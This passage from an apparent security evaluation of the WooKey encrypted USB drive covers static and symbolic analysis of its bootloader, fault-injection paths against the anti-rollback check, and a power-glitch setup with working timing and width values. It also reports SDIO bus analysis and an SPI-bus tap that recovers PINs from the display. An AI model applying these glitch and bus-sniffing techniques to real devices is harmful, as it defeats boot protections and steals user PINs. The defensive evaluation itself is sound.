can be performed by finding concrete paths that reach the erroneous
state. Finding such paths could be done manually for a very simple code.
Another approach makes use of precise analysis techniques called Dynamic
Symbolic Execution (DSE) [50]: they automatically search path conditions
or a given oracle, i.e. the property to violate. If all the paths existing in
the code can be covered then the search is both sound (no missing state)
and precise (no false alarm): this so called all-path coverage is usually not
achievable in complex code due to path explosion.

Properties can also be violated as a result of paths perturbed by fault
injection (FIA). These paths can be found manually by modifying the
source code to simulate faults, or automatically with a DSE based tool
called Lazart that simulates multiple fault injections with several fault
models as explained in [51].

In the following sections, the evaluator follows a 2-step methodology
that consists in using the Frama-C platform [55] to understand the behavior
of the Bootloader, and define some functional properties to be either
verified or violated by counter-examples also called attack paths.
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16.2 Understanding the behavior of the Bootloader

No precise documentation of the Bootoader is given by the WooKey
project [25,30]. But the implementation review in the code is always a
valuable source of information, as well as the compiled binary (through
decompilation using Ghidra [6], see section 16.4).

A value analysis with Frama-C Eva always starts by listing the avail-
able entry points of the module to be analyzed (the roots of the callgraph).
The Bootloader has several entry points: the main function and interrup-
tion handlers. This analysis focuses on main launching the Bootloader
automaton in charge of booting the firmware. The perimeter of the partial
analysis is composed of a subset of the implementation (.c files) and all
the required include files (.h). When only the prototype of a function
is provided (the implementation is missing), the Frama-C kernel auto-
matically generates a minimal specification expressed in ACSL. Such a
contract respects the over-approximation (soundness) unless some global
variables are modified by this function. Therefore, the perimeter of a
partial analysis needs to be large enough to include all the side effects
that could have an impact on the analyzed behavior. The analysis usually
begins with a small subset of the implementation and more content is
added if the understanding of the behavior shows that some important
dependencies are missing. Only a subset of the source files located in the
directory loader of the project have been selected to start the analysis,
in particular the file main.c that implements the Bootloader automaton.
The initial state of the Bootloader includes its context (e.g. DFU mode),
the firmware area called SHR, and some registers like the RDP state. The
Bootloader context is assigned with precise values (the initial values),
whereas the fields of SHR and registers are imprecise, i.e. assigned with
the largest interval depending on their type.

After having launched the value analysis with Eva, the evaluator
checks the results by directly browsing the source code with Frama-C
GUI. A value analysis computes intervals for all the variables (fixed point
computation), and separately propagates several states at each statement
(trace partitioning) in particular to precisely unroll loops (for a bounded
number of iterations). The Bootloader automaton is made of an infinite
loop that dispatches requests to functions that are in charge of the state
transitions, for example checking the integrity of the firmware, and booting
(which is the last transition of the automaton). Syntactic unrolling allows
to duplicate the code for each loop iteration and visualize in Frama-C
GUI the nominal sequence of the Bootloader as represented in Table 4.
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Current state|/Request Next state
START REQ_INIT INIT
INIT REQ_RDPCHECK RDPCHECK
RDPCHECK REQ_DFUCHECK DFUWAIT
DFUWAIT REQ_RDPCHECK RDPCHECK
RDPCHECK REQ_SELECTBANK SELECTBANK
SELECTBANK REQ_RDPCHECK RDPCHECK
RDPCHECK REQ_CRCCHECK HDRCRC
HDRCRC REQ_RDPCHECK RDPCHECK
RDPCHECK REQ_INTEGRITYCHECK|FWINTEGRITY
FWINTEGRITY REQ_RDPCHECK RDPCHECK
RDPCHECK REQ_FLASHLOCK FLASHLOCK
FLASHLOCK REQ_RDPCHECK RDPCHECK
RDPCHECK REQ_BOOT BOOTFW

Table 4. Nominal sequence of the Bootloader as inferred by Frama-C

The redundancy of RDP check transitions (interleaved 6 times in the
nominal sequence) is a countermeasure against an RDP downgrade attack
(see section 14 for more details), checking several times if the RDP level
has not been faulted before booting.

Syntactic unrolling also shows that some erroneous states are detected,
for example if the firmware has been corrupted (integrity check failure).
In some cases, the request REQ_ERROR ends the automaton by triggering a
system reset, and in other cases a SECBREACH triggers a mass erase. As the
Bootloader automaton is very simple, the evaluator can use Frama-C GUI
to make sure (visually) that there is no unexpected sequence of transitions
A more complex automaton would have required to verify properties
about the expected sequences, for example with MetACSL and E-ACSL
combined with DSE [50,53]. This approach has not been experimented
here.

// Checking the wvalidity of the transition
if (! loader_is_valid_transition(state, req)) {
// Transition REQ_ERROR is dectided.
dead code detected by Eva
}

Listing 12. REQ_ERROR dispatching

Some generic properties are checked: absence of some C undefined
behaviors, also called RTE as defined by [15], and accessibility of code
sections (detection of dead code and of potentially reachable code). No
RTE has been detected in the analyzed perimeter, even warnings. Several
dead code sections appear in Frama-C GUI (with a red background).
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The following one is particularly interesting: when an invalid transition is
detected, the request REQ_ERROR should be dispatched by the automaton
ending then in a system reset (see the code on Listing 12).

The value analysis shows that the result returned by the function check-
ing the validity of the transition is never the C boolean FALSE (whose
integer value is 0) but the set {0x55aabb5aa, Oxaabbaabb} which contains
secured magic values respectively representing FALSE and TRUE. The pre-
cision level is low enough '® to over-approximate all the potential states
even invalid transitions (that should not happen without FIA). Therefore,
the dead code section reveals a bug in the way the condition detecting
an invalid transition is tested. This bug is a weakness in the protection
against FIA: invalid transitions are not detected and are normally handled
by the automaton.

The other dead code sections show protections against FIA, i.e. counter-
measures that should not be normally executed. All the countermeasures
are not detected (seen as dead code) because of the lack of precision: the
over-approximation includes states that are caused by fault injection.

16.3 Checking a functional property of the Bootloader

The security function SF12 defined in [26] should prevent the Boot-
loader of a dual-bank WooKey from booting the previous firmware version.
Exploiting a vulnerability in this anti-rollback mechanism would lead to a
full attack path.

Two other security mechanisms are mentioned by [26] when describing
threats: verifying the integrity of the firmware, and checking the RDP level
(STM32 register) before booting. Related vulnerabilities are less interesting
to exploit because in each case a preliminary attack is necessary to obtain
a full path: attacking DFU to load a corrupted firmware (see section 15
for such an attack path with EM faults), and forcing a lower RDP level
(see section 14 for a successful downgrade with a voltage glitch).

The property stating that the booting firmware is not the result of a
rollback can be expressed by checking the value of the booting address
(global variable ctx.next_stage). One assertion is expressed for each case
depending on the DFU mode and Flip/Flop versions (more details are
given in [26]). Cases that should not happen trigger a false assertion. The
code presented on Listing 13 implements the property verification.

15. The precision level is progressively increased during the analysis. With a low
precision, the result is over- approximated. With a higher precision, in particular more
trace partitioning and splitting, the result is the value TRUE which means that no invalid
transition can happen without fault injection.
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if (flip_shared_vars.fw.fw_sig.version > flop_shared_vars.fw.fw_sig.
version) {

if (ctx.dfu_mode == sectrue) assert(ctx.next_stage == DFU1_START);
else if (ctx.dfu_mode == secfalse) assert(ctx.next_stage ==
FW1_START) ;

else assert(false);
} else if (flip_shared_vars.fw.fw_sig.version <
flop_shared_vars.fw.fw_sig.version) {

if (ctx.dfu_mode == sectrue) assert(ctx.next_stage == DFU2_START);
else if (ctx.dfu_mode == secfalse) assert(ctx.next_stage ==
FW2_START) ;

else assert(false);
} else assert(false);

Listing 13. Anti-rollback property verification

The goal is to find unexpected paths caused by a corrupted initial
state. The symbolic state is composed of the firmware header, the RDP
state, and the loader context. A specific test is written to set the initial
state (concrete and symbolic variables), invoke the automaton, and check
the property (see Listing 14).

// 1) Set the 4nitial state: concrete and symbolic wariables

// 2) Invoke the automaton

loader_set_state (LOADER_START) ;
loader_exec_automaton (LOADER_REQ_INIT);

// 3) Check the property "mno rollback on boot"

Listing 14. Anti-rollback property check setup

Some modifications of the source code are needed to make the automa-
ton execution terminate for every path (some stubs are also generated in
particular for hash and CRC computations): infinite loops are removed,
the primitive system_reset simply returns, booting does not call the
specified firmware address but ends the automaton loop, errors also end
the loop.

A DSE analysis with KLEE [9] does not detect paths violating the
property despite an all-path coverage. Assuming that no potentially cor-
rupted data in the initial state has been forgotten (missing symbolic
variables), the analysis proves that the anti-rollback property is verified
in the normal behavior of the Bootloader, i.e. without fault injection.

16.4 Vulnerability of the anti-rollback mechanism to FIA

The anti-rollback mechanism is assumed to be resistant to double
fault injection as shown by the implementation of the function handling
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the request REQ_SELECTBANK: a “sanity check against fault on rollback”
(as commented in the code) is performed three times. The evaluator
has to ensure that the protection provided by this countermeasure is
secure enough, i.e. if a single or even a double fault cannot bypass the
countermeasure and force a rollback.

Lazart 16 [51] offers several fault models, and the ability to efficiently
inject multiple faults. In the current version of Lazart, the most useful
model for our usage is “test inversion” as it is applied automatically
(without manual configuration) and systematically to every conditional
branching in the source code. So once a target function (entry point)
has been identified and tested with DSE (to ensure that the functional
behavior is correct), then an analysis can be immediately launched without
the need to configure the way faults are injected.

The same test as in section 16.3 has been used for the analysis. But the
symbolic initial state has been made fully concrete (no symbolic variable)
to decrease the complexity of the analysis. Therefore, two test cases are
needed, one called “Flip to Flop” trying to force a Flop instead of the
expected Flip boot, and the opposite one “Flop to Flip”.

The C instruction switch may be compiled in different ways, leading
to different vulnerabilities (and different number of faults) when the fault
model “test inversion” is applied by Lazart. The Bootloader binary has
been decompiled with Ghidra [6] to obtain a C representation of each
switch that is composed of the equivalent branching instructions.

Two paths with a single fault are detected by Lazart for the case
“Flip to Flop”. These paths exploit in a similar way a vulnerability in
the function handling the request REQ_SELECTBANK, that first checks if
both banks are bootable, and if not, systematically boots on Flop if it is
bootable. Therefore, a single fault is enough to negate the first test and
then simply branch to the Flop boot. In the first test, two conditions can
be negated (Flip bootable or Flop bootable), hence making two attack
paths as shown on Listing 15.

// Fault injection to negate one of the following branching:

if (flip_shared_vars.fw.bootable == FW_BOOTABLE &&
flop_shared_vars.fw.bootable == FW_BOOTABLE) {
}

// And to continue below, booting Flop:
/* only FLOP can be started */
if (flop_shared_vars.fw.bootable == FW_BOOTABLE) {

16. Provided by Verimag through the CLAPS project (funded thanks to the French
ANR “Programme d’'Investissement d’Avenir IRT Nanoelec” ANR-10-AIRT-05).
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Listing 15. “Flip to Flop” attack paths

Regarding the test case “Flop to Flip”, a path with a single fault ex-
ploits a vulnerability of the function handling the request REQ_FLASHLOCK,
that only checks once if the bank to boot is Flip. Therefore, a single fault
is enough to force Flip (see Listing 16).

if (ctx.boot_flip == sectrue) { // Fault injection to force this
condition

Listing 16. “Flop to Flip” attack paths

A last element to be noticed regarding these attack paths on anti-
rollback is that they can be tested without triggering the flash mass erase
emergency state that the Bootloader executes when it detects non nominal
behaviors. As we can see on the automaton represented in Figure 21,
FLASH_LOCK state execution leads to the ERROR state (contrary to other
states such as FW_INTEGRITY whose failures lead to SECBREACH and mass
erase). This explains why FIA against the anti-rollback mechanism seem
more successful than faults against integrity check (section 15) or Readout
Protection anti-downgrade (section 14).

An exploitation of the case “Flip to Flop” has been attempted with a
power glitch attack as presented in the next section.

16.5 Experimental setup for fault injection

Power glitches through USB The PC or the USB cable may glitch
the target, allowing stealthy fault attack compared to LASER or electro-
magnetic attack. It could be a voltage glitch on the Vbus of the USB bus
either with positive or negative glitch. Even if there is a voltage regulator
between the USB cable and the STM32, that voltage glitch could allow
code rerouting on the MCU.

However, tests have shown that the WooKey target seems protected
against voltage glitch through USB. Indeed, the electronic architecture
with a diode and decoupling capacitors next to the MCU tends to inhibit
the effects of the glitches. Moreover, the MCU is directly connected to the
Vbus through a GPIO in order to probe the Vbus voltage. This connection
leads to destroy the MCU during large voltage glitches.
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Direct power glitches The authors of [32] show that glitching with
arbitrary waveform is more effective than traditional glitching (using pulse
setup or MOSFET). However, the setup to perform arbitrary waveform is
more expensive (around 100 € versus 2 € for MOSFET) and more com-
plex to implement. Furthermore, recent attacks with traditional glitching
setup [21] show that it is still very effective against unprotected target.
Therefore, to comply with a low level attacker, the glitcher is implemented
using a MOSFET driver (MAX17602) and a MOSFET (IRF3205) which
will short-circuit the Vcap pin to ground during glitching.

The Nucleo-F439ZI will be the target as the MCU is the same as the
one on the WooKey board. On the two capacitors connected to Vcapl and
Vcap2, one is removed and the other one is replace by a 130nF capacitor.
The glitcher is directly connected to the Vcaps pin. The MOSFET’s drain
is connected to Vcap and the source is connected to GND. The delay and
the pulse width are controlled by a second Nucleo board.

16.6 Exploitation of the anti-rollback mechanism vulnerability

The vulnerability identified in section 16.4 is targeted using the direct
power glitch setup. By sweeping the glitch width against some dummy code,
it can be found that the optimal glitch width to corrupt the processing of
the circuit is around 150 ns. Such a glitch is illustrated on Figure 30.

Then, the glitch is swept over the boot process in order to find the
correct timing to exploit the vulnerability. In order to reduce the jitter,
the oscilloscope (rigol DS10547Z) is used to synchronize on the power
consumption of the target. The right timing to perform the attack is
80pus after the re-synchronization. This timing is shown on Figure 31.
Applying a power glitch at this particular time slot of the boot process
allows to force the Flop boot instead of the regular Flip one. It shows that
the anti-rollback mechanism vulnerability is exploitable with an achieved
success rate of 0.4 % (17 successful attempts over 4,000 trials).

16.7 Conclusion

In this section, a full exploitation was performed from code analysis
to a real attack using power glitches on the STM32 circuit. The exploited
vulnerabilities could have been discovered in black box testing, i.e. with-
out code analysis. However, as the source code of WooKey is available,
experimenting the ability of the exposed code analysis methodology to
detect non-obvious vulnerabilities in an exhaustive way is complementary
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Fig. 30. Applied glitch. Fig. 31. Corrupted boot process.
Magenta: glitcher’s command Yellow: power consumption. Ma-
Yellow: power consumption. genta:  glitch  command.  The

re-synchronization is  performed
on the negative spikes as shown by the
trigger’s marker.

with a black box approach that may reveal surprising vulnerabilities, but
that usually requires too much time to cover every possible attack paths.

17 SDIO interface analysis

The WooKey device requires an SD card to be able to store the
encrypted user data. Since it is an external interface, a malicious SD card
(or a device able to emulate an SD card) might be used to trigger and
exploit vulnerabilities. Exploiting them leverages partial attack paths:
other security mechanisms must be bypassed to recover the assets (e.g.
memory segregation). Two kinds of vulnerabilities could be triggered:

— Application layer vulnerabilities (when plain text application data

are handled by WooKey tasks).

— SD protocol vulnerabilities (in the case of mishandled SD functions,

or a weak state-machine).

The purpose of the current section is to assess the exposure to such
attacks, and evaluate the complexity to put in place a malicious SD device.

17.1 State of the art of SD attacks

The Secure Digital protocol [20] is not often reviewed from a security
standpoint, despite its complexity. Attacks targeting the host are even less
studied. Dana Geist and Thom Does (University of Amsterdam) published
a report in 2016 on this topic [57]. This project is mainly intended to
attack computers using advanced features of SD Cards. This highlights
the complexity of implementing a fake SDIO device.
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Nonetheless, there are no public tools to fuzz or to interact with an
SD card reader (i.e. targeting the host).

17.2 SD card content analysis

Some devices are writing metadata into the memories. In such cases,
it is interesting to identify if there are some mishandled parameters. No
specific tools are required for exploitation.

This activity has been performed by analyzing an empty SD card
after being used by WooKey. Nevertheless, no obvious structure has been
identified, and this has been confirmed by looking into the WooKey project
source code (no extra data is written into the SD card apart from the
encrypted user data). The exposure to malicious SD content is hence
minimal.

17.3 SD protocol analysis

The SD card communication protocol is defined by the SD Association,
and simplified versions of the specifications are available at [20]. The
physical layer of SDIO is composed of the following signals:

— A clock signal, CLK.

— A Command signal, CMD, which is bidirectional (command and

response on the same signal).

— 1, 2, 4 or 8 data signals DO to D7. Common SD cards use up to 4
lines. The data lines are bidirectional (read and write data on the
same signal).

All SD cards should respond to 3.3 V logic, but newer SD cards might
allow logic down to 1.8 V to improve the speed and consumption. The
communication levels, the clock speed and the bus width are negotiated
during the communication.

The card is acting as a slave that only responds to host commands (up
to 126 commands can be implemented, including application command
ACMD). The commands and responses frames are 48 bits long and contain
32 bits of effective data, except for the response R2 that is 136 bits long
(120 bits of data). Additionally, some commands do not expect a response
and some commands trigger a read or a write from the data lines. Some
SD cards also support commands to be queued. Newer versions of SD
specifications also define some advanced features, for media streaming, for
connectivity (Wi-Fi, Bluetooth, GPS, etc.), or for security (authentication,
encryption).
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However, embedded systems such as WooKey do not implement every
functionality offered by the SD protocol. Consequently, sniffing the data
is a good starting point to identify what is indeed implemented.

SDIO Sniffing The first step consists in determining the maximum
clock rate and expected capture duration. This can be done by using
an oscilloscope on the clock and command lines. As specified by the
SD protocol, the communication starts with a 400 kHz clock (321 kHz
measured). The communication speed then increases to 50 MHz.

The first thing that needs to be highlighted is that the communication
only starts when the user has been authenticated (UserPIN valid) and
the WooKey is plugged in to a computer (SCSI_CMD_READ_CAPACITY
sent to USB). This puts the attacks targeting the SD card in the post-
authentication category or entrapment category. Such attacks can be
however stealthy if the malicious SD device looks alike the genuine one.

Sniffing requires to capture with a sampling rate of at least 250 MHz
(to get accurately the clock edge) for around 15 seconds, which prohibits
the usage of an oscilloscope due to the memory length against the usage
of a logic analyzer. There are two kinds of logic analyzers:

— Bulffered logic analyzers, which provide fast sampling rate. However,
buffers sizes are often limited to several megabytes (advanced
logic analyzers provide compression to help spaced events to be
captured).

— Streamed logic analyzers, which provide continuously the samples to
the computer (almost no memory limitation), but with a moderate
sampling rate (communication is the bottleneck).

Since the clock line is always active (even when there is no communica-
tion), the usage of a buffered logic analyzer does not fit the requirements
as the compression would not be efficient. A Saleae Logic Pro 16 [17] has
been chosen because:

— It allows capturing in streaming mode at 500 MS/s, allowing con-

tinuous capture of several gigabytes to terabytes.

— It allows developing custom decoding protocols, with a great com-
munity.

At 50 MHz, probing SDIO is not trivial: the input impedance of the
Saleae Logic is still very low (about 350 €2); and WooKey does not drive
enough current, which introduces some bit errors. Moreover, some coupling
effects might occur between signals, increasing the risk of induced errors.
The bit-error impacts on data lines are highly amplified when ciphering
occurs, and the computer accessing the USB MSC (SCSI mass storage)
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protocol reacts randomly while attempting to parse the partitions headers
as shown on Figure 32.

[sda] tag#e FAILED Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE
[sda] tag#@ Sense Key : Medium Error [current]
[sda] tag#@ Add. Sense: Unrecovered read error
[sda] tag#@ CDB: Read(10) 28 @0 06 00 00 00 00 00 01 @0
1 callbacks suppressed

1 callbacks suppressed
[sda] tag#® FAILED Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE

[sda] tag#@ Sense Key : Medium Error [current]
[sda] tag#@ Add. Sense: Unrecovered read error

[sda] tag#@ CDB: Read(10) 28 00 00 00 00 00 00 00 01 @0
st

blk_upd

[sda] tag#® FAILED Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE
[sda] tag#@ Sense Key : Medium Error [current]
[sda] tag#@ Add. Sense: Unrecovered read error
[sda] tag#@ CDB: Read(10) 28 @0 00 00 00 00 00 00 01 @0
st

[sda] tag#® FAILED Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE
[sda] tag#@ Sense Key : Medium Error [current]
[sda] tag#@ Add. Sense: Unrecovered read error
[sda] tag#® CDB: Read(10) 28 @0 @0 00 00 00 00 00 01 @0
st

Fig. 32. Linux dmesg error while sniffing SDIO

To be slightly less intrusive, some extra pull-up resistors have been
placed on signals and the wires were shortened and shielded. This allows
capturing both clock and command line without any error, but the data
lines still cannot be captured properly. It is still enough for a first analysis
of issued commands.

Another solution would be to woks with low capacitance probes, like
active probes (expensive). This would be mandatory for dealing with
higher logic speed (but in such case, the sample rate of the Saleae Logic
would probably be the bottleneck).

SDIO decoding An open-source SDIO analyzer software has been de-
veloped for the Saleae Logic by airbus-seclab: SDMMC-Analyzer [18].
This project has mainly been developed for eMMC analysis, and does
not handle well the SD card protocol (particularly, eMMC commands
and responses are slightly different). Using it reveals some unknown and
misinterpreted commands/responses. Consequently, this SDIO Analyzer
has been heavily modified to fit the needs of decoding SD protocols (see
Figure 33).

The capture highlights a very minimalist SDIO implementation: the
host waits for the card to be ready, then increases the clock speed to
50 MHz before having identified the card (Card_Identification_Data
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stuff=0x00800000, crc=0x4a

CMD8 stuff=0x00000, VHS=8x1, check=0xaa, crc=0x43
R7 stuff=0=00000, , vdda=1, check=@xaa [stuff=0xeeeee, , vdda=1, check=0=aal, crc=0x09

// Loop while CARD BUSY
RCA=0x0000, stuff=0x0000, crc=0x32
status=0x0eee0120 [state=Idle, flags={ READY_FOR_DATA, APP_CMD, }], crc=@x41
flags=0x50 ocr=0x020000, crc=0x55
ocr=0=@0ff8000 [flags={ BUSY, , voltage_range=2V7_TO_3V6, ], crc=@x7f

ocr=@xcoff8eee [flags={ READY, CCS, , voltage_range=2V7_TO_3V6, ], crc=0x7f

stuff=0x00000000, crc=0x26
cid=0x0353445343313647805b04b799013b [cid=0x0353445343313647805b04b799013b], crc=0x6a

stuff=0x00000000, crc=0x10
rca=@xaaaa, status=0x@520 [rca=0xaaaa, status=0x0520], crc=0x68

RCA=@=aaaa, stuff=0x0000, crc=0x21
status=0x00000700 [state=Stdby, flags={ READY_FOR_DATA, }], crc=0x7d

RCA=@xaaaa, stuff=0x0000, crc=0x70@
csd=0x4B0e00325b59000076b27F800a4040 [csd=0x400e00325b59000076b27F800a4040], crc=0x89

RCA=@xaaaa, stuff=0x0000, crc=0x66
status=0=@eee0700 [state=Stdby, flags={ READY_FOR_DATA, }], crc=0x3a

RCA=Bxaaaa, stuff=0x0000, crc=0x15

status=0=x00000920 [state=Trans, flags={ READY_FOR_DATA, APP_CMD, }], crc=0x19
stuff=00000000 bus_width=4, crc=0x65

status=0x00000920 [state=Trans, flags={ READY_FOR_DATA, APP_CMD, }], crc=@x5c

// While data read requested from the computer
CMD18 data_addr=@ 00000,

L

status=0x00000900 [state=Trans, flags={ READY_FOR_DATA, }], crc=0x69
stuff=0=x00000000, crc=0x30@

status=0xP@PBObOO [state=Data, flags={ READY_FOR_DATA, }], crc=0x3f

Fig. 33. SDIO capture with the Saleae and customized sdmmc-analyzer plugin

and Card_Specific_Data requests). The card is then selected and stays in
the “trans” state, waiting for read/write transfers upon computer request.

Moreover, it is interesting to notice that, despite the card answers
that the maximum speed for data line is 25 Mbits/s per line (reaching
50 MBytes/s using the 4 lines), the clock is kept at 50 MHz. This means
that some mandatory parameters in the card answers are not taken into
account; and this could partially explain the communication issue when
probing the data lines (the communication is already out of specifications).
By crosschecking with the source code, the responses handled by WooKey
are summarized in Table 5.

Except for few error flags checking, the source code analysis reveals
that the only field that is effectively handled by WooKey is the card
capacity (which is computed from the Card_Specific_Data because it
is requested by the computer to initialize the SCSI transfers and it is
displayed on the WooKey screen).

Finally, there was no request (such as extended Card_Specific_Data
request or advanced features usage) that would require the data lines in
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Type Content WooKey handling

Current state only checked against trans to
raise error

R2 |Card Identification Data Not handled

R3 |Card Specific Data Only capacity is handled and used by WooKey
Only Card capacity status and Card ready
flags checks

R1 Card Status

R4 |Operation Condition Register

Relative Card Address
RS Card status bits Error flag check

R6 |Card Interface Condition Error flag check

Table 5. SD responses supported by WooKey

the response. The data lines are only used to provide data between the
computer and the SD card (WooKey streams the encrypted data through
DMA requests, without any particular handling). This means that the only
interesting handled fields are the ones related to card capacity, in the
Card_Specific_Data. Depending on the version, it can be a single 22
bits integer or a pair of integers (12 bits 4+ 3 bits).

SDIO Fuzzing The previous analysis was performed with SDIO fuzzing
in mind. Fuzzing a SDIO host is very different from fuzzing a SDIO card,
since the fuzzer does not control the communication channel. The only
thing that is possible is to respond to messages.

Moreover, the response frame format (including the frame length)
depends on the state machine, which is fully controlled by the host. In
other words, it is not possible to respond with an unexpected message
type. Fuzzing the SDIO consists in fuzzing the content of responses in a
way that produces unexpected results.

The initial idea was to place an FPGA in man-in-the-middle position,
which only modifies a specific response (triggered from a command). This
allows to avoid re-implementing a complex SDIO stack into an FPGA, and
only focus on specific fields to be modified. Developing an SDIO fuzzer is
interesting for SD interface analysis, targeting for instance:

— The card state machine (given in R1 responses).

— The case of multiple card responses to the ALL_SEND_CID command.

— The bus speed and width with non-standard values.

— Triggering unexpected error flags.

Such a fuzzer might have to deal with communication constraints (inter-
facing is challenging due to impedances, voltage level change, clock phases,
and bidirectional signals).
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Finally, and since WooKey does not handle many SDIO data, the
effort for developing an SDIO fuzzer is not justified here (and would be
highly over-dimensioned for the purpose). Instead, it has been decided to
cover SDIO through a tainted code analysis, focusing on the card capacity
parameters.

Tainted code review By computing minimum and maximum values
for the card capacity fields and analyzing the propagation of the results
through the PIN application (to display the card size in GBytes) and USB
application (requested parameter during SCSI initialization), no overflow
has been found. The values are stored in an uint64_t when necessary,
and displaying the pair of 4 digits does not overflow the oversized printed
buffers.

17.4 Conclusion

According to the fact that the attack surface on WooKey SDIO interface
is minimal (only available after user authentication, with a minimal SDIO
stack implementation, and without handling plain text data from the SD
card); and that the tainted code analysis does not reveal particular issues
while handling the integer parameters, WooKey SDIO interface seems to
offer a good level of security.

18 Analysis of the SPI communication with the display

18.1 Attack path

WooKey uses a token for authenticating the user of the USB thumb
drive. Because the token is protected with a PIN code, the theft of both
the token and the device does not allow an attacker to decrypt the content.

The threat model for WooKey takes into account an attacker trying
to steal the PIN code using a fake device, so a legitimate user must
first enter a PetPIN and then validate a PetName before entering the
UserPIN [25,30,31]. The risk of an attacker using a hardware tap on the
SPI bus to steal the PIN is considered residual [31] since it requires a
physical access on the device to insert the tap, and then stealing the token
to extract the master key to decrypt the data.

However, using the electromagnetic emission from the SPI bus might be
another possible attack vector to steal the UserPIN, and does not require
a direct physical access to the device. In its current design, WooKey uses
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a main board for the STM32 and a daughter board for the touchscreen.
They are linked together with an unshielded ribbon cable transmitting
synchronous serial data using SPI.

In this section, we will focus on a proof-of-concept of a hardware tap to
steal the UserPIN as a first step to develop the tools needed to extract the
different PIN codes. We only discuss the feasibility of extracting sufficiently
accurate data from the electromagnetic emissions to recover both PIN
codes since this attack was not performed. The information provided here
are to be taken as complementary to the TEMPEST characterization
described in 19.

18.2 State of the art

The retrieval of information transmitted on serial lines through elec-
tromagnetic emissions has been explored for some time now [56]. Key-
boards using both PS/2 and USB interfaces have been studied in depth
to show that it is possible to retrieve the keystrokes in a practical envi-
ronment [59,61,62].

18.3 Practical attack

The SPI bus was tapped by directly soldering on the ribbon cable
connector (see Figure 34). A CY7C68013A from Cypress was used to act
as a logic analyzer, since it can collect 4 channels at 12 MHz. A minimum
of 12 Mega samples per second are necessary since the SPI clock is set to
6 MHz for the screen. The following signals were acquired: Clock (SCLK),
Chip Select (CS), Master In Slave Out (MISO) and Master Out Slave In
(MOSI).

The data are recovered by waiting for the CS line to be asserted low,
and then sampling the current bit on MISO and MOSI for every rising edge
of the SCLK line. For the proof-of-concept, PulseView [13] was used to
record the signals and then the result was exported to raw binary and
parsed with a tiny C code for performance reasons. Finally, a Python
script, using the Python Imaging Library [14], was used to recover the
images displayed on the screen. Three commands need to be interpreted:

— Column_Address_Set (0x2A)

— Page_Address_Set (0x2B)

— Memory_Write (0x2C)

The column and page commands take two 16 bits arguments for
the starting and ending column or row. The next memory write will
then be inside the frame described by the column and page address
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Fig. 34. Soldering for SPI bus sniffing

set commands. The write command takes a variable number of 3 bytes
arguments describing the current pixel in RGB format with 6 bits words for
each color component. It has to be noted that the number of pixels written
can be less than the frame size. By looking for a potential command in
the sent buffer, or using timing information, it is possible to detect the
end of the write command.

In order to help with parsing, all possible commands sent by WooKey
to the screen have been added to the parser with their number of
arguments: Display_OFF, Power_Control_1 and 2, VCOM_Control_1
and 2, Memory_Access_Control, Vertical_Scrolling Address_Start,
Sleep_Out and Display_ON.

18.4 Results

The recovery of the images displayed on the screen is straight-forward
and shown on Figure 35: since we are directly soldered on the SPI bus
with a sampling rate satisfying the Nyquist—Shannon sampling theorem,
no information is lost.

18.5 Real world feasibility

In a scenario where the signal would be acquired from electromagnetic
emissions, some bytes will be corrupted and the CS line will not be
available to tell us when the bus is actually active. Since the commands
to send images are sent in burst with near-constant timing between the
bytes, depending on where we are in the sequence, it is possible to use this
information to synchronize the decoding of commands and their arguments.
The timing reflects the function call for commands and operands in the
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Fig. 35. Capturing '1234’ sequence entered on the pinpad

C implementations of the screen driver. The sequence to display a new
image (tile) is as follows:

— Column_Set followed by Page_Set, all bytes separated by 10 to

12 us

— a Memory_Write command directly follows by 10 to 12 us

— the first pixel red component follows after a 10 to 12 us gap

— pixel components are separated by 580 to 920 ns

This observation should help to segregate between the command part
and the actual image written to the screen. While the timing for the red
component is slightly higher than for the green and blue ones, the change
in color cannot be detected using only the timing information because the
SPI line is much slower than the difference in timing while looking up a
new color in the palette for RLE (Run-Length Encoded, see [16]) images.
Also, when the drawing of a new tile directly follows the previous one,
the same timing of 10 to 12 us is observed before the new Column_Set
command. This should help to identify the menu style specific to the
drawing of the pinpad and the refreshing of a tile after a touch on the
screen.

19 TEMPEST attack on WooKey’s screen

19.1 Presentation

The TEMPEST code name captures various security specifications from
NSA and NATO about radio, electronic, acoustic or vibrating emanations
from an information system. These are considered as data leakage from the
system since they are not intentionally produced and are a side effect of the
system’s operation: one can see them roughly as long-range side-channel
leakages. In France, ANSSI edited in 2014 a document explaining how to
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mitigate TEMPEST attacks in secured building and installations [27]. The
TEMPEST effects may be leveraged as side-channel attacks to partially
or totally retrieve secrets from a system.

The efficiency of TEMPEST attacks is not a myth. They supposedly
started during the first World War on telephone wires and were actively
used during the second World War [42]. Since then, many declassified
documents confirm the widespread use of such attacks at state level [43].

In 2015, a laboratory from Tel Aviv University disclosed a vulnerability
in GnuPG. They successfully extracted keys from the surrounding field
emanating from a regular laptop [38]. In 2017 a cybersecurity team from
Fox-IT was able to recover an AES-256 encryption key using common
hardware at a distance between 1 m and 30 cm [37]. More recently, so
called “screaming channels” [33] make use of classical SCA techniques
(template attacks) to achieve key recovery on an AES-128 leaking through
the radio front-end of a Nordic Semiconductor nRF52832 at a range of
10 m using 1,500 traces.

Another example application is to extract information from an electro-
magnetic leakage of a display link. Electromagnetic emanations may occur
and, in specific conditions and with appropriate equipment, they can be
captured. Easily accessible tools allow anybody to setup a TEMPEST
attack: one of the most convincing examples is the TempestSDR [46]
framework which targets HDMI cables. Thanks to the work of Martin
Marinov who released TempestSDR in 2014, anyone with less than 100 € of
equipment can build his own TEMPEST installation. TempestSDR offers
the ability to capture and intercept on-the-fly the signal emitted from the
cable, is compatible with affordable hardware, and runs on Window and
Linux. An article and a presentation at SSTIC 2018 [52] (in french) detail
how to work with TempestSDR on DVI or HDMI cables.

Critical devices which manipulate confidential data and require a high
security level need to be tested and have mitigations against TEMPEST.
In the context of the Inter-CESTI challenge, it has been decided to test
the robustness of the WooKey platform against these attacks.

19.2 Preliminary work

Before focusing on WooKey, the evaluator validated the setup on a
known setting: the TEMPEST attack was reproduced to intercept the
image displayed on a screen through an HDMI cable. The setup is the
following;:

— Radio receiver: USRP N210 (= 2,000 €)

— Receiving board: WBX 50-2200 MHz (= 500 €)
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— Antenna: supplied antenna
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Fig. 36. HDMI Spectrogram

The HDMI 2.1 is bond to a large band with a maximum of 340 MHz.
With a setting at 400 MHz, GNU Radio [7] has been used to observe the
